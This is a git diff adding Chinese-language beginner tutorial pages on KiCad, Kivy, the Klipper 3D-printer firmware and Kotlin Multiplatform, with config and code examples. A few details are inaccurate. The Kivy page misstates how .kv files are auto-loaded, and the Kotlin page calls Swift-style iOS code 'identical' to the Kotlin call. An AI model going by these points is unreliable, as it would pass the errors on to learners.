+读法：`GND` 网络把 `C1` 的 2 脚、`U1` 的 8 脚、`R1` 的 1 脚连在一起。布局时 PCB 编辑器根据此类 net 拉 **ratsnest（鼠线）** 提示你该去哪布线。研究型工具（如论文 [[schgen-pcb]]）可从自然语言生成 `.kicad_sch` 再导出网表，思路与此同源。
+
+## 第一个板子：LED + 电阻（概念步骤）
+
+以「Arduino 排针 + LED + 限流电阻」为例，浓缩零基础路径（细节以你安装的 KiCad 9 菜单为准）：
+
+1. **新建项目** `led_blink`，单位选 **mm**，模板默认即可
+2. **原理图**：`A` 放置符号 — 排针 `Conn_01x02`、LED、电阻 `R`；`W` 画线；放置 `GND` / `+5V` 电源符号
+3. **标注**：Tools → Annotate，位号 `R1`、`D1`、`J1` 自动编号
+4. **封装**：Tools → Assign Footprints — LED 选 `LED_THT:LED_D5.0mm`，电阻 `R_THT:R_Axial_DIN0207`
+5. **ERC**：Inspect → Electrical Rules Checker，修掉悬空电源（可加 PWR_FLAG 或正确电源符号）
+6. **更新 PCB**：Tools → Update PCB from Schematic（`F8`），元件成簇出现
+7. **板框**：选 `Edge.Cuts` 层，画矩形 ~50×30 mm
+8. **布局**：先固定排针，再摆 LED/电阻；`X` 开始布线，信号 0.25 mm、电源 0.5 mm 起步
+9. **铺铜**：Add Filled Zone → 选 `B.Cu`、网络 `GND` → 闭合多边形 → `B` 填充
+10. **DRC**：Inspect → Design Rules Checker，清零错误后再 Plot
+
+快捷键（欧美教程常见）：`A` 放元件、`W` 连线、`X` 布线、`V` 过孔、`B` 铺铜填充、`Ctrl+S` 保存。
+
+## 零基础学习路径
+
+1. **安装**：从 [kicad.org/download](https://www.kicad.org/download/) 装最新稳定版；首次启动确认 **mm** 与 **Design Rules** 默认
+2. **跟官方教程**：通读 [Getting Started in KiCad](https://docs.kicad.org/9.0/en/getting_started_in_kicad/getting_started_in_kicad.html) 示例工程（含符号库、ERC、Gerber）
+3. **做一个「能亮」的简单板**：上面 LED 工程或 SparkFun [Beginner's Guide to KiCad](https://learn.sparkfun.com/tutorials/beginners-guide-to-kicad/all)
+4. **搞懂封装**：亲手为一个非标准连接器建 footprint（1:1 按 datasheet 量焊盘）
+5. **制造闭环**：导出 Gerber → 用 KiCad Gerber Viewer 自检 → JLCPCB 等平台下单 5 片
+6. **自动化**：试 `kicad-cli pcb export gerbers`；写 10 行 Python 改丝印
+7. **进阶**：网类/差分对、USB 阻抗、插件 ActionPlugin、SPICE 仿真
+
+## 常见问题
+
+**Q：原理图更新了，PCB 不同步怎么办？**  
+A：在 PCB 编辑器 **Update PCB from Schematic**；若仍缺线，检查是否漏指派封装或 ERC 未通过。
+
+**Q：DRC 报 clearance 怎么办？**  
+A：拉大走线间距、改 **Board Setup → Design Rules → Constraints**；或移动元件；量产前规则要和板厂工艺（如 6 mil）对齐。
+
+**Q：库里的 footprint 焊不上？**  
+A：库错误很常见。对照 datasheet **自己量一次**；3D 模型仅作预览，不能代替焊盘校验。
+
+**Q：和 CircuitPython / [[circuitpython]] 什么关系？**  
+A：KiCad 画 **PCB 载体**；固件在 MCU 上跑 CircuitPython。常见组合：KiCad 画 RP2040/ESP32 载板，再插模块开发。
+
+**Q：能只做原理图不打板吗？**  
+A：可以。仿真、文档、BOM 报价都可在布局前完成；但开源硬件通常希望闭环到 Gerber。
+
+## 小结
+
+KiCad 是 **GPL 开源的全流程 EDA**：原理图定连接、封装对实物、PCB 定制造、Gerber 交工厂。核心思维是 **符号≠封装、ERC 先于布局、铺铜服务回流、DRC 先于下单**。从零开始：跟官方教程画完一张 LED 板 → 导出 Gerber 打样 → 用 `kicad-cli` 或 Python 把重复劳动脚本化——你就从「会点菜单」进阶到「可维护的硬件工程流」。
+
+## 延伸阅读
+
+- 官方站点：[kicad.org](https://www.kicad.org/)
+- 入门文档：[Getting Started in KiCad 9](https://docs.kicad.org/9.0/en/getting_started_in_kicad/getting_started_in_kicad.html)
+- 命令行：[KiCad CLI](https://docs.kicad.org/master/en/cli/cli.html)
+- Python API 概述：[pcbnew scripting](https://dev-docs.kicad.org/en/python/pcbnew/)
+- 社区教程：[SparkFun Beginner's Guide to KiCad](https://learn.sparkfun.com/tutorials/beginners-guide-to-kicad/all)
+- 源码镜像：[github.com/KiCad/kicad-source-mirror](https://github.com/KiCad/kicad-source-mirror)
+- 相关笔记：[[librecad]]（2D 外形）、[[freecad]]（机械结构）、[[circuitpython]]（板上固件）、[[schgen-pcb]]（AI 生成原理图）
diff --git a/src/content/docs/projects/kind.md b/src/content/docs/projects/kind.md
index 9cb211a7f..ea69e3c3a 100644
--- a/src/content/docs/projects/kind.md
+++ b/src/content/docs/projects/kind.md
@@ -2,7 +2,7 @@
 title: kind — 用 Docker 容器当 K8s 节点的本地集群
 来源: https://github.com/kubernetes-sigs/kind
 日期: 2026-06-01
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 入门
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/kivy.md b/src/content/docs/projects/kivy.md
new file mode 100644
index 000000000..aa2b0772e
--- /dev/null
+++ b/src/content/docs/projects/kivy.md
@@ -0,0 +1,207 @@
+---
+title: Kivy — Python 跨平台应用框架
+来源: https://github.com/kivy/kivy
+日期: 2026-06-13
+分类: 其他
+子分类: mobile-cross-platform
+provenance: pipeline-v3
+---
+
+# Kivy — Python 跨平台应用框架
+
+## 什么是 Kivy
+
+想象一下，你写了一封信，想同时寄给住在不同城市、用不同语言的人。如果每封信都要用不同的语言重新写一遍，那就太麻烦了。Kivy 做的就是这件事——只不过它处理的是**用户界面**（按钮、输入框、图片这些你看得见的东西）。
+
+你只写一次代码，Kivy 帮你在 Windows、macOS、Linux、Android、iOS 上都能跑起来。它底层用 Python + Cython 编写，渲染引擎基于 OpenGL ES 2.0，从 2011 年开源至今，GitHub 上已有近 19,000 个 star。
+
+## 核心概念
+
+### 1. App（应用）
+
+Kivy 的入口是一个继承自 `App` 的类。每个 Kivy 程序必须至少有一个 App 子类。它负责：
+
+- 启动窗口
+- 管理生命周期（启动、运行、退出）
+- 提供根 Widget 树
+
+### 2. Widget（小部件）
+
+Widget 是屏幕上所有可见元素的基类。常见的 Widget 包括：
+
+- **Label**：显示文字
+- **Button**：可点击的按钮
+- **TextInput**：用户输入框
+- **Image**：显示图片
+
+所有的界面都是 Widget 的树形嵌套结构——就像俄罗斯套娃，一个 Widget 可以包含多个子 Widget。
+
+### 3. Layout（布局）
+
+Widget 需要知道如何排列自己。Layout 就是负责管理子 Widget 排列方式的容器，常用的有：
+
+- **GridLayout**：网格布局，固定行数和列数
+- **BoxLayout**：盒子布局，水平或垂直排列
+- **FloatLayout**：浮动布局，每个子 Widget 可以手动指定位置
+- **AnchorLayout**：锚点布局，把子 Widget 对齐到某个角落
+
+### 4. Kv 语言
+
+Kivy 自带一种专门的界面描述语言——`.kv` 文件。它的作用类似 HTML，但更简洁。Kv 语言的核心理念是**关注点分离**：界面设计（长什么样）和业务逻辑（做了什么）分开写在不同的文件里。
+
+例如在 `.kv` 文件中写：
+
+```
+<LoginScreen>:
+    GridLayout:
+        rows: 2
+```
+
+这段代码定义了 `LoginScreen` 这个界面由一个 2 行的网格布局组成。
+
+### 5. Property（属性）
+
+Kivy 有自己的 Property 系统，和普通的 Python 变量不同。Property 是**可绑定的**——当你改变它的值时，Kivy 会自动刷新界面显示。比如把 `Label` 的 `text` 属性从 "Hello" 改成 "World"，界面上的文字就会立刻更新。
+
+## 代码示例
+
+### 示例一：最简单的 Kivy 应用
+
+这是 Kivy 的 "Hello World"，也是理解 Kivy 的最小完整单元。
+
+```python
+import kivy
+kivy.require('2.1.0')  # 确保 Kivy 版本兼容
+
+from kivy.app import App
+from kivy.uix.label import Label
+
+
+class MyApp(App):
+    """继承 App 类，这是每个 Kivy 应用的入口"""
+
+    def build(self):
+        """build() 方法返回应用的根 Widget"""
+        return Label(text='Hello, Kivy!')
+
+
+if __name__ == '__main__':
+    MyApp().run()
+```
+
+**代码拆解：**
+
+- `import kivy` + `kivy.require()`：声明版本依赖
+- `class MyApp(App)`：App 是 Kivy 应用的基类，你的应用必须继承它
+- `build()`：Kivy 的生命周期方法。这个方法返回什么 Widget，那个 Widget 就是整个应用的"根"。这里返回了一个 `Label`，文字是 "Hello, Kivy!"
+- `MyApp().run()`：创建应用实例并启动。`run()` 会打开一个窗口，开始处理事件循环
+
+运行后你会看到一个黑色背景的窗口，中间写着 "Hello, Kivy!"。
+
+### 示例二：登录表单界面
+
+这个例子展示了如何用 `GridLayout` 布局多个 Widget，创建真实的登录界面。
+
+```python
+from kivy.app import App
+from kivy.uix.gridlayout import GridLayout
+from kivy.uix.label import Label
+from kivy.uix.textinput import TextInput
+
+
+class LoginScreen(GridLayout):
+    """登录界面，继承自 GridLayout"""
+
+    def __init__(self, **kwargs):
+        super(LoginScreen, self).__init__(**kwargs)
+        # 设置网格为 2 列：左边是标签，右边是输入框
+        self.cols = 2
+
+        # 用户名标签 + 输入框
+        self.add_widget(Label(text='User Name'))
+        self.username = TextInput(multiline=False)
+        self.add_widget(self.username)
+
+        # 密码标签 + 输入框（密码模式隐藏字符）
+        self.add_widget(Label(text='Password'))
+        self.password = TextInput(password=True, multiline=False)
+        self.add_widget(self.password)
+
+
+class MyApp(App):
+
+    def build(self):
+        return LoginScreen()
+
+
+if __name__ == '__main__':
+    MyApp().run()
+```
+
+**代码拆解：**
+
+- `class LoginScreen(GridLayout)`：自定义一个继承自 `GridLayout` 的类，代表整个登录界面
+- `self.cols = 2`：告诉网格布局有 2 列，每行第一个 Widget 在第一列，第二个在第二列
+- `self.add_widget(Label(text='User Name'))`：添加用户名标签
+- `self.username = TextInput(multiline=False)`：创建一个单行输入框并保存为实例变量，方便后续使用
+- `TextInput(password=True)`：开启密码模式，输入的字符会显示为圆点而不是明文
+- `super().__init__(**kwargs)`：调用父类 `GridLayout` 的初始化方法。**必须调用**，否则会丢失 `GridLayout` 的内部功能
+
+这个例子展示了 Kivy 的**自动尺寸适应**特性——当你缩放窗口时，Widget 会自动重新调整大小。这是 Kivy 默认的 size hint 机制在起作用。
+
+### 示例三：用 Kv 语言分离界面
+
+对比上面两个例子（所有界面代码都写在 `.py` 里），Kv 语言可以把界面定义单独拿出来。
+
+Python 端（`main.py`）：
+
+```python
+from kivy.app import App
+from kivy.uix.label import Label
+
+
+class MyApp(App):
+    title = "Kivy Kv Demo"
+
+    def build(self):
+        # 返回一个 Label 作为根 Widget
+        return Label(text='用 Kv 语言写的界面')
+
+
+if __name__ == '__main__':
+    MyApp().run()
+```
+
+Kv 文件（`main.kv`，和 `main.py` 同名放在同一目录）：
+
+```kv
+#:kivy 2.1.0
+
+Label:
+    text: 'Hello from Kv!'
+    font_size: 48
+```
+
+Kv 文件的规则：
+
+- `#:kivy 2.1.0`：声明 Kivy 版本要求
+- Kivy 会自动寻找和 Python 文件同名的 `.kv` 文件（`main.py` → `main.kv`）
+- 如果返回的 Widget 类名是 `MyApp`（去掉 App 后缀），Kv 文件中写 `MyApp:` 就可以覆盖它的根 Widget
+- 属性缩进表示嵌套关系，类似 YAML
+
+## 为什么选择 Kivy
+
+| 特性 | 说明 |
+|---|---|
+| 一套代码，五端运行 | Windows、macOS、Linux、Android、iOS |
+| 多点触控原生支持 | 所有 Widget 自带多触手势支持 |
+| MIT 开源协议 | 可商用，无限制 |
+| 丰富的 Widget 库 | 按钮、滑块、列表、轮播图等 40+ 种内置控件 |
+| Python 生态 | 可以直接用 NumPy、Pandas 等现有库 |
+| 活跃社区 | GitHub 19k+ stars，Kivy Garden 提供第三方插件 |
+
+## 下一步
+
+- 官方教程 [Pong Game Tutorial](https://kivy.org/doc/stable/tutorials/pong.html)：从零搭建一个乒乓球小游戏，是理解 Kivy 最好的实践
+- [Kivy Garden](https://github.com/kivy-garden)：社区提供的第三方 Widget 库，像pip一样安装：`kivy garden install graph`
+- [Buildozer](https://github.com/kivy/buildozer)：把 Kivy 应用打包成 Android APK 或 iOS 包
diff --git a/src/content/docs/projects/klipper.md b/src/content/docs/projects/klipper.md
new file mode 100644
index 000000000..a76b2f163
--- /dev/null
+++ b/src/content/docs/projects/klipper.md
@@ -0,0 +1,283 @@
+---
+title: Klipper — 把 3D 打印机的「大脑」和「手脚」拆开的固件架构
+来源: 'https://github.com/Klipper3d/klipper'
+日期: '2026-06-13'
+子分类: 嵌入式
+分类: 操作系统
+难度: '中级'
+provenance: 'pipeline-v3'
+---
+
+## 是什么
+
+**Klipper** 是 [Klipper3d/klipper](https://github.com/Klipper3d/klipper) 维护的一套 **3D 打印机固件**，但它和传统 Marlin / RepRapFirmware 的写法完全不同：不是把「算路径、控温度、解析 G-code、驱动步进电机」全部塞进一块 8 位 MCU，而是拆成 **主机（Host）+ 微控制器（MCU）** 两层协作。
+
+日常类比：**交响乐团 vs 指挥 + 乐手**。
+
+传统一体固件像一个小型乐队——指挥兼小提琴手兼定音鼓，每个人都要会所有乐器，舞台（Flash/RAM）又只有几平米，复杂曲子（高速打印、输入整形、多 MCU）一上就挤爆。Klipper 则请一位 **指挥（树莓派 / 小主机上的 Klippy，Python 实现）** 在后台算好整首曲子的每个音符时间点，再把 **极短、极准的节拍表** 发给 **乐手（MCU 上的 C 固件）** 按微秒级时间表拨弦（发步进脉冲）。指挥负责「想」，乐手负责「到点动」——分工清楚，各自只做最擅长的事。
+
+官方文档把这套关系概括为：主机做 G-code 解析、运动学、前瞻（look-ahead）、温度算法；MCU 做 GPIO、步进调度、硬件定时器。二者通过 **低延迟二进制 RPC 协议**（串口 / USB / CAN）通信，连接时 MCU 还会下发 **data dictionary（数据字典）**，让主机动态知道「我能执行哪些命令」——换固件不必改主机代码。
+
+和 [[octoprint]] / Mainsail / Fluidd 的关系是上下游：它们提供 Web 界面发 G-code；Klipper 的 `klippy` 进程接收 G-code 并真正驱动打印机。和 [[marlin]] 的对比则是架构级：Marlin 全在 MCU；Klipper 把算力搬到 Linux 主机，MCU 只做实时执行，因此同一颗 ATmega 也能跑到 17 万步/秒以上，新 MCU 可达数百万步/秒。
+
+## 解决什么问题
+
+消费级 3D 打印机固件长期面临一组矛盾：
+
+| 痛点 | 传统 MCU 一体固件 | Klipper 的回应 |
+| --- | --- | --- |
+| 算力天花板 | 8/32 位 MCU RAM/Flash 有限，复杂算法难塞进去 | 主机跑 Python + C helper，算法迭代快 |
+| 步进精度 | 常用 Bresenham 等近似，高速时易丢步/共振 | 按物理加速度算精确步进时刻，精度约 25µs |
+| 改配置 | 常需重新编译、刷写 MCU 固件 | 几乎全部配置在 `printer.cfg`，改完重启服务即可 |
+| 多 MCU | 多板协同、时钟同步复杂 | 配置里多写几个 `[mcu xxx]` 段，主机做 clock sync |
+| 功能扩展 | C 宏、条件编译，门槛高 | `gcode_macro` + Jinja2 模板，用户可编程宏 |
+| 打印质量 | 转角挤出、振纹（ringing）难调 | Smooth Pressure Advance、Input Shaping 等内建 |
+
+Klipper 要回答的核心问题是：**能否用廉价 Linux 板（如 Raspberry Pi）的算力，换 MCU 上省下的复杂度，同时让步进 timing 比传统方案更准、更快？**
+
+## 核心概念
+
+### 1. 三层架构：Host ↔ Protocol ↔ MCU
+
+```
+切片器 G-code
+    ↓
+Klippy (klippy/klippy.py)     ← Python：解析、规划、温控、宏
+    ↓ 二进制 RPC + data dictionary
+MCU 固件 (src/stm32/, src/avr/ …)  ← C：定时器调度、步进脉冲
+    ↓
+步进驱动 / 加热棒 / 风扇 / 探针
+```
+
+- **Klippy**：入口在 `klippy/klippy.py`，读 `printer.cfg`，加载 `[stepper_x]`、`[extruder]` 等模块，G-code 主循环在 `gcode.py` 的 `_process_commands()`。
+- **MCU 固件**：按架构分目录（`src/avr/`、`src/stm32/`、`src/rp2040/` 等），用 `DECL_COMMAND()` 声明主机可调用的命令。
+- **协议**：见官方 [Protocol](https://www.klipper3d.org/Protocol.html)——消息块带 CRC、序列号；主机启动时通过 `identify` 分块拉取 zlib 压缩的 JSON 字典。
+
+人类可读协议示例（文档中的说明性文本，实际线上为压缩二进制）：
+
+```
+set_digital_out pin=PA3 value=1
+queue_step oid=7 interval=7458 count=10 add=331
+queue_step oid=7 interval=117 add=1281 count=4 add=1281
+```
+
+第一条开引脚，后面 `queue_step` 在指定 **MCU 时钟 tick** 排队步进脉冲——复杂轨迹在主机算好，MCU 只执行时间表。
+
+### 2. `printer.cfg`：声明式打印机描述
+
+Klipper **没有** Marlin 式「改源码再编译」的主流程。打印机几何、引脚、驱动、传感器全写在配置文件里，常见主文件路径为 `~/printer_data/config/printer.cfg`（因发行版而异）。
+
+关键段落类型：
+
+| 配置段 | 作用 |
+| --- | --- |
+| `[mcu]` | 主控板串口 / CAN UUID、波特率 |
+| `[printer]` | 运动学类型、`max_velocity`、`max_accel` |
+| `[stepper_x]` 等 | 步进引脚、`rotation_distance`、微步、归零 |
+| `[extruder]` | 挤出机、热端、PID |
+| `[heater_bed]` | 热床 |
+| `[gcode_macro …]` | 用户自定义 G-code 宏 |
+
+引脚命名直接用硬件名（如 `PA4`），可用 `!` 反相、`^` 上拉。
+
+### 3. 运动规划：Look-ahead 与精确步进
+
+`toolhead.py` 里的 **ToolHead** 维护移动队列，对连续 G1 做 **lookahead** 合并加减速，避免每个拐角都停到零。Klipper 强调：不用 Bresenham 走近似线，而用 **迭代求解器** 从运动学方程算步进时刻——对 delta、corexy、极坐标等非笛卡尔机同样适用。
+
+相关高级功能：
+
+- **Smooth Pressure Advance**：补偿挤出机内压力，减轻转角渗料。
+- **Input Shaping**：用加速度计（如 ADXL345）测共振，抑制「鬼影/振纹」。
+- **Bed Mesh / 探针**：网格调平、BLTouch、Z 相位 endstop 等。
+
+### 4. 多 MCU 与 clock sync
+
+一块板子管 XY，另一块管挤出机和热端——在 Klipper 里只需额外 `[mcu toolboard]` 段，引脚写成 `toolboard:PA1` 形式。主机 `mcu.py` 负责 **时钟同步**，补偿各板晶振漂移，对上层仍是「一台打印机」。
+
+### 5. G-code 宏与 Jinja2：`gcode_macro`
+
+配置里可直接定义新 G-code 命令，正文是 **Jinja2 模板**，运行时展开成 G-code 序列。可读取 `printer.heater_bed.temperature` 等状态，做条件分支、循环——相当于给打印机写「脚本语言」，无需改 Klipper 源码。
+
+### 6. API Server 与前端生态
+
+除串口 G-code 外，Klipper 提供 **JSON API**（Unix socket），Mainsail、Fluidd、OctoPrint 插件等通过它与 `klippy` 交互。开发者可写外部 Job 监控、农场管理软件。
+
+### 7. 支持的硬件面
+
+- **主机**：Raspberry Pi、PC、部分 SBC。
+- **MCU**：AVR、STM32、LPC176x、RP2040/RP2350、PRU、Linux MCU 模式等。
+- **运动学**：cartesian、corexy、delta、polar、winch 等（见 `[printer]` 的 `kinematics`）。
+
+## 代码示例
+
+### 示例 1：最小可理解的 `printer.cfg` 片段
+
+下面是一个 **笛卡尔机** 的骨架（引脚与 `rotation_distance` 需按你的硬件修改；官方 `config/` 目录有各机型样板）：
+
+```ini
+# 主控 MCU：USB 串口连接
+[mcu]
+serial: /dev/serial/by-id/usb-Klipper_stm32f103xx_...
+restart_method: command
+
+# 打印机全局运动限制
+[printer]
+kinematics: cartesian
+max_velocity: 300
+max_accel: 3000
+max_z_velocity: 15
+max_z_accel: 100
+
+# X 轴步进（rotation_distance 见官方 Rotation Distance 文档）
+[stepper_x]
+step_pin: PF0
+dir_pin: PF1
+enable_pin: !PD7
+microsteps: 16
+rotation_distance: 40
+endstop_pin: ^PC0
+position_endstop: 0
+position_max: 235
+homing_speed: 50
+
+[stepper_y]
+step_pin: PF6
+dir_pin: !PF7
+enable_pin: !PD7
+microsteps: 16
+rotation_distance: 40
+endstop_pin: ^PC1
+position_endstop: 0
+position_max: 235
+homing_speed: 50
+
+[stepper_z]
+step_pin: PL3
+dir_pin: PL1
+enable_pin: !PK0
+microsteps: 16
+rotation_distance: 8
+endstop_pin: ^PD3
+position_endstop: 0.0
+position_max: 250
+
+[extruder]
+step_pin: PA4
+dir_pin: PA6
+enable_pin: !PA2
+microsteps: 16
+rotation_distance: 33.500
+nozzle_diameter: 0.400
+filament_diameter: 1.750
+heater_pin: PB4
+sensor_type: EPCOS 100K B57560G104F
+sensor_pin: PK5
+control: pid
+pid_Kp: 22.2
+pid_Ki: 1.08
+pid_Kd: 114
+min_temp: 0
+max_temp: 275
+
+[heater_bed]
+heater_pin: PH5
+sensor_type: Generic 3950
+sensor_pin: PK6
+control: watermark
+min_temp: 0
+max_temp: 110
+```
+
+改配置后通常执行 `sudo systemctl restart klipper`（或你的安装脚本提供的等价命令），**不必**重刷 MCU 固件——除非你要升级 Klipper 版本本身。
+
+### 示例 2：带参数与状态读取的 `gcode_macro`
+
+官方 [Command templates](https://www.klipper3d.org/Command_Templates.html) 推荐：宏内若要用 `G1` 移动，先用 `SAVE_GCODE_STATE` / `G91` / `RESTORE_GCODE_STATE` 避免污染全局坐标模式。
+
+```ini
+[gcode_macro SET_BED_TEMPERATURE]
+description: 设置热床目标温度，默认 60°C
+gcode:
+  {% set bed_temp = params.TEMPERATURE|default(60)|float %}
+  M140 S{bed_temp}
+  M117 Bed target {bed_temp}C
+
+[gcode_macro MOVE_UP]
+description: 相对当前位置 Z 轴上移 10mm
+gcode:
+  SAVE_GCODE_STATE NAME=move_up_state
+  G91
+  G1 Z10 F300
+  RESTORE_GCODE_STATE NAME=move_up_state
+
+[gcode_macro QUERY_STATUS]
+description: 在屏幕/终端显示挤出机与热床温度
+gcode:
+  M117 E:{printer.extruder.temperature|round(1)} / B:{printer.heater_bed.temperature|round(1)}
+```
+
+终端用法：
+
+```gcode
+SET_BED_TEMPERATURE TEMPERATURE=70
+MOVE_UP
+QUERY_STATUS
+```
+
+宏名大小写不敏感；带数字时数字须在末尾（`PROBE25` 合法，`PROBE25_FAST` 不合法）。
+
+## 安装与日常运维（零基础路径）
+
+1. **刷 MCU 固件**：用 `make menuconfig` 选主板型号，编译后通过 `flash.sh` 或 UF2 烧录（详见 [Installation](https://www.klipper3d.org/Installation.html)）。
+2. **装主机端**：Klipper + Moonraker（常见）+ Mainsail/Fluidd；或使用 KIAUH 等一键脚本。
+3. **拷贝/编写 `printer.cfg`**：从官方 `config/` 找最接近的机型，改 `serial`、引脚、`rotation_distance`。
+4. **校准**：`PID_CALIBRATE`、`PROBE_CALIBRATE`、Delta/CoreXY 调平等按文档逐步做。
+5. **升级**：拉 git 新版本 → 重编 MCU（若协议变）→ 重启服务；关注 [Config changes](https://www.klipper3d.org/Config_Changes.html) 以免配置项过时。
+
+常用调试入口：
+
+- 日志：`~/printer_data/logs/klippy.log`
+- 主机命令：`~/klipper/scripts/graph_accelerometer.py`（共振测量）、`GET_POSITION` 等 G-code
+- 开发者先读 [Code overview](https://www.klipper3d.org/Code_Overview.html)
+
+## 性能与选型参考
+
+官方 [Features](https://www.klipper3d.org/Features.html) 给出步进基准（单轴 / 三轴同时）：
+
+| MCU 示例 | 1 轴 | 3 轴 |
+| --- | --- | --- |
+| 16MHz AVR | 157K 步/秒 | 99K |
+| STM32F103 | 1180K | 818K |
+| RP2040 | 4000K | 2571K |
+| STM32H723 | 7429K | 8619K |
+
+高步进率 → 更高打印速度潜力；配合 Input Shaping 可在提速同时控制振纹。
+
+## 与其他方案怎么选
+
+| 方案 | 特点 | 更适合 |
+| --- | --- | --- |
+| **Marlin** | 全 MCU、生态最大、离线单板 | 不想挂 SBC、极简硬件 |
+| **Klipper** | 主机+MCU、配置驱动、宏与 API 强 | 有 Pi、追求速度/质量/可编程 |
+| **RepRapFirmware** | Duet 生态、G-code 宏也强大 | Duet 硬件用户 |
+
+若你已有树莓派和 USB 主板，Klipper 通常是 **性价比最高的升级路径**之一：硬件不必换，主要增加主机算力与配置学习成本。
+
+## 学习资源
+
+- 官方总览：[Overview](https://www.klipper3d.org/Overview.html)
+- 配置全集：[Config Reference](https://www.klipper3d.org/Config_Reference.html)
+- 协议与字典：[Protocol](https://www.klipper3d.org/Protocol.html)
+- 源码树：`klippy/`（主机 Python）、`src/`（MCU C）、`config/`（样例配置）
+- 社区：Klipper Discourse、各发行版 Discord；中文用户常搜「Klipper 安装」「printer.cfg 教程」
+
+## 小结
+
+Klipper 的本质不是「又一个 Marlin」，而是 **把 3D 打印机控制拆成「Linux 上算轨迹 + MCU 上准时步进」** 的分布式实时系统。零基础入门抓住四条即可：
+
+1. 分清 **Klippy（主机）** 与 **MCU 固件** 的职责；
+2. 几乎所有行为由 **`printer.cfg`** 声明；
+3. 主机与 MCU 靠 **data dictionary + 定时 queue_step** 协作；
+4. 用 **`gcode_macro`** 扩展工作流，而不必 fork 固件。
+
+当你能读懂一份官方样例配置、并成功跑通一次 PID 与 bed mesh，就已经从「会用切片软件」迈进「能驾驭打印机固件」的门槛了。
diff --git a/src/content/docs/projects/kotlin-multiplatform.md b/src/content/docs/projects/kotlin-multiplatform.md
new file mode 100644
index 000000000..a0efab8c1
--- /dev/null
+++ b/src/content/docs/projects/kotlin-multiplatform.md
@@ -0,0 +1,215 @@
+---
+title: "Kotlin Multiplatform — 跨平台共享逻辑"
+来源: https://github.com/JetBrains/kotlin
+日期: 2026-06-13
+分类: 编程语言
+子分类: mobile-cross-platform
+provenance: pipeline-v3
+---
+
+# Kotlin Multiplatform — 跨平台共享逻辑
+
+## 一句话理解
+
+Kotlin Multiplatform（简称 KMP）让你用 Kotlin 写一份业务逻辑，然后同时跑到 Android、iOS、桌面端甚至浏览器上。
+
+## 日常类比
+
+想象你在学做菜。
+
+传统做法是：给 Android 团队一份菜谱（Java/Kotlin），给 iOS 团队另一份菜谱（Swift）。两份菜谱内容差不多，但每次要改口味——比如把盐量从 5 克改成 3 克——你就得改两份。
+
+KMP 的做法是：把所有"通用菜谱"（登录验证、数据校验、网络请求、业务规则）写成一份，放在一个共享厨房里。Android 和 iOS 各用自己的厨具（原生界面），但都从同一个厨房取菜。改一次，所有人都吃到改好的味道。
+
+关键区别在于：KMP **不是**像 Flutter 那样共享整个 UI。它只共享"逻辑"，UI 仍然各自用原生的方式写。这就像你共享的是菜谱，不是餐厅装修。
+
+## 核心概念
+
+### 1. Source Sets（源码集）
+
+KMP 项目按"源码集"组织代码。每个源码集就是一组有相同依赖关系的文件：
+
+- **commonMain** — 共享代码，所有平台共用。这里写的代码不能调用任何平台特有的 API（比如不能直接调相机或蓝牙）。
+- **androidMain** — 只在 Android 上运行的代码，比如调 Android 的原生 API。
+- **iosMain** — 只在 iOS 上运行的代码。
+- **commonTest / androidTest / iosTest** — 对应的测试代码。
+
+编译时，Kotlin 编译器会自动把 commonMain 的代码"翻译"成不同的格式：在 Android 上变成 Kotlin/JVM（运行在 JVM 上），在 iOS 上变成 Kotlin/Native（直接编译成机器码）。
+
+### 2. expect / actual —— 平台差异的桥梁
+
+有些东西每个平台都不一样。比如"获取设备名称"，Android 和 iOS 的获取方式完全不同。KMP 用 `expect` 和 `actual` 来解决这个问题：
+
+先在 commonMain 里声明一个 `expect`（期望），然后在每个平台的源码集里写 `actual`（实际实现）。
+
+### 3. 渐进式采用
+
+KMP 不需要你从头重写整个 App。你可以先在现有的 Android App 里加一个共享模块，试试水。觉得好用，再慢慢把更多逻辑搬进去。iOS 端也一样，可以逐步接入。
+
+## 代码示例
+
+### 示例一：共享数据校验逻辑
+
+这是最常见的用法——把业务规则放到共享模块里，两端直接调用。
+
+```kotlin
+// ===== commonMain/kotlin/shared/validator.kt =====
+package com.example.shared
+
+class LoginValidator {
+
+    fun validateEmail(email: String): Boolean {
+        // 邮箱格式校验规则，Android 和 iOS 共用同一套
+        val regex = Regex("^[\\w-.]+@([\\w-]+\\.)+[\\w-]{2,4}$")
+        return regex.matches(email)
+    }
+
+    fun validatePassword(password: String): ValidationResult {
+        return when {
+            password.length < 8 -> ValidationResult.Error("密码至少8位")
+            !password.any { it.isUpperCase() } -> ValidationResult.Error("密码需要包含大写字母")
+            else -> ValidationResult.Success
+        }
+    }
+}
+
+sealed class ValidationResult {
+    object Success : ValidationResult()
+    data class Error(val message: String) : ValidationResult()
+}
+```
+
+```kotlin
+// ===== Android 端调用（androidMain 或直接使用） =====
+val validator = LoginValidator()
+val result = validator.validatePassword("MyPass123")
+when (result) {
+    is ValidationResult.Success -> println("密码通过")
+    is ValidationResult.Error -> println("错误: ${result.message}")
+}
+```
+
+```kotlin
+// ===== iOS 端调用（完全相同的代码） =====
+let validator = LoginValidator()
+let result = validator.validatePassword("MyPass123")
+// 输出: 密码通过
+```
+
+注意：同一段 `validatePassword` 逻辑，Android 和 iOS 端**一行都不用改**。
+
+### 示例二：expect / actual 处理平台差异
+
+假设你需要获取设备的平台名称，两端实现不同：
+
+```kotlin
+// ===== commonMain/kotlin/shared/platform.kt =====
+package com.example.shared
+
+interface Platform {
+    val name: String
+}
+
+// 声明一个"期望"：每个平台都要提供自己的实现
+expect fun getPlatform(): Platform
+```
+
+```kotlin
+// ===== androidMain/kotlin/shared/platform.android.kt =====
+package com.example.shared
+
+class AndroidPlatform : Platform {
+    override val name: String = "Android (${android.os.Build.VERSION.SDK_INT})"
+}
+
+actual fun getPlatform(): Platform = AndroidPlatform()
+```
+
+```kotlin
+// ===== iosMain/kotlin/shared/platform.ios.kt =====
+package com.example.shared
+
+import platform.UIKit.UIDevice
+
+class IOSPlatform : Platform {
+    override val name: String = "iOS (${UIDevice.currentDevice.systemVersion})"
+}
+
+actual fun getPlatform(): Platform = IOSPlatform()
+```
+
+```kotlin
+// ===== commonMain 中直接使用，自动获得对应平台的实现 =====
+fun main() {
+    println("当前平台: ${getPlatform().name}")
+    // 在 Android 上输出: 当前平台: Android (34)
+    // 在 iOS 上输出: 当前平台: iOS (17.5)
+}
+```
+
